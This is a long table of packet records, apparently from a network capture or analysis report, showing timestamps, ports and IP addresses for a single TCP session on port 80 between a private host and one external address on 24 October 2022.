Oct 24, 2022 11:00:10.795536995 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.795594931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820261955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820296049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820312977 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820327044 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820343971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820363045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820383072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820403099 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820422888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820441961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820460081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820456028 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820480108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820497990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820517063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820534945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820537090 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820554972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820571899 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820571899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820593119 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820597887 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820611954 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820628881 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820646048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820658922 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820664883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820683956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820698977 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820703030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820723057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820728064 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820741892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820751905 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820760012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820779085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820800066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820800066 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820818901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820842981 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820868015 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.820969105 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.820988894 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821008921 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821027040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821044922 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821064949 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821068048 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.821084023 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821086884 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.821103096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821121931 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.821141005 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.821171999 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.822570086 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.822593927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.822612047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.822629929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.822650909 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.822670937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.822696924 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.822735071 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.848527908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848572016 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848591089 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848611116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848627090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848647118 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848670006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848690987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848711967 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848732948 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848752975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848774910 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848778963 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.848797083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848819017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848840952 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848850965 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.848861933 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848882914 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848892927 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.848906994 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848926067 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848946095 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848952055 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.848968029 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.848978996 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.848992109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849013090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849019051 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849035025 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849057913 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849057913 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849081039 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849100113 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849102974 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849122047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849143028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849147081 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849164009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849184990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849191904 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849205971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849226952 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849229097 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849247932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849267960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849272013 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849288940 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849309921 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849313021 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849330902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849351883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849356890 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849373102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849394083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849397898 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849415064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849433899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849442005 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849456072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849479914 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849623919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849642992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849663973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849678993 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849685907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849706888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849719048 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.849728107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.849751949 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.876569033 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876600981 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876615047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876635075 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876646996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876661062 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876678944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876698017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876717091 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876734972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876753092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876771927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876785994 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876782894 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.876806974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876827002 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876843929 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.876844883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876866102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876883984 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876893997 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.876904011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876924038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876926899 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.876944065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876949072 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.876962900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876981974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.876998901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877007008 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877024889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877037048 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877063990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877080917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877099991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877105951 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877120018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877125025 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877140045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877157927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877166033 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877180099 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877197981 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877208948 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877218008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877235889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877254009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877263069 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877273083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877291918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877296925 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877310991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877330065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877334118 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877348900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877366066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877376080 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877383947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877397060 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877403975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877429008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877433062 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877449036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877465963 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877471924 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877485991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877504110 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877521038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877531052 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877540112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877557993 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877568960 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877577066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877592087 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877598047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877618074 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877624035 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877639055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877657890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877665997 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877677917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877696037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877713919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877721071 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877733946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877752066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877763033 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877770901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877787113 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877793074 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877811909 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877825975 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877830982 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877850056 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877866030 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877867937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877888918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877906084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.877933979 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.877960920 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.878114939 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.878190994 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.904938936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.904975891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.904994011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905014038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905034065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905055046 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905075073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905092001 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905111074 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905117989 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.905124903 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905143976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905163050 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905165911 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.905181885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905205011 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.905225039 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.905517101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905536890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905555010 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905572891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905591011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905620098 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.905646086 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.905683994 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.907464981 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.907495975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.907515049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.907535076 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.907555103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.907572985 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.907574892 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.907625914 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.910398006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.910422087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.910440922 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.910459042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.910476923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.910495043 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.910535097 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.910569906 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.911674976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.911695957 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.911715031 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.911734104 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.911762953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.911775112 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.911792994 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.911839962 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.912534952 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.912558079 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.912575960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.912595034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.912612915 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.912631035 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.912646055 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.912679911 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.913105965 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.913126945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.913196087 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.913430929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.913451910 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.913470984 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.913489103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.913497925 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.913508892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.913527012 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914309025 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914330006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914347887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914367914 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914386034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914403915 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914459944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914478064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914511919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914531946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914544106 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914552927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914573908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914592981 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914596081 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914613008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914632082 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914649963 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914653063 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914670944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914689064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914690018 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914707899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914716959 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914729118 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914747000 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914751053 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914766073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914783955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914786100 CEST	49711	80	192.168.2.3	193.23.244.244
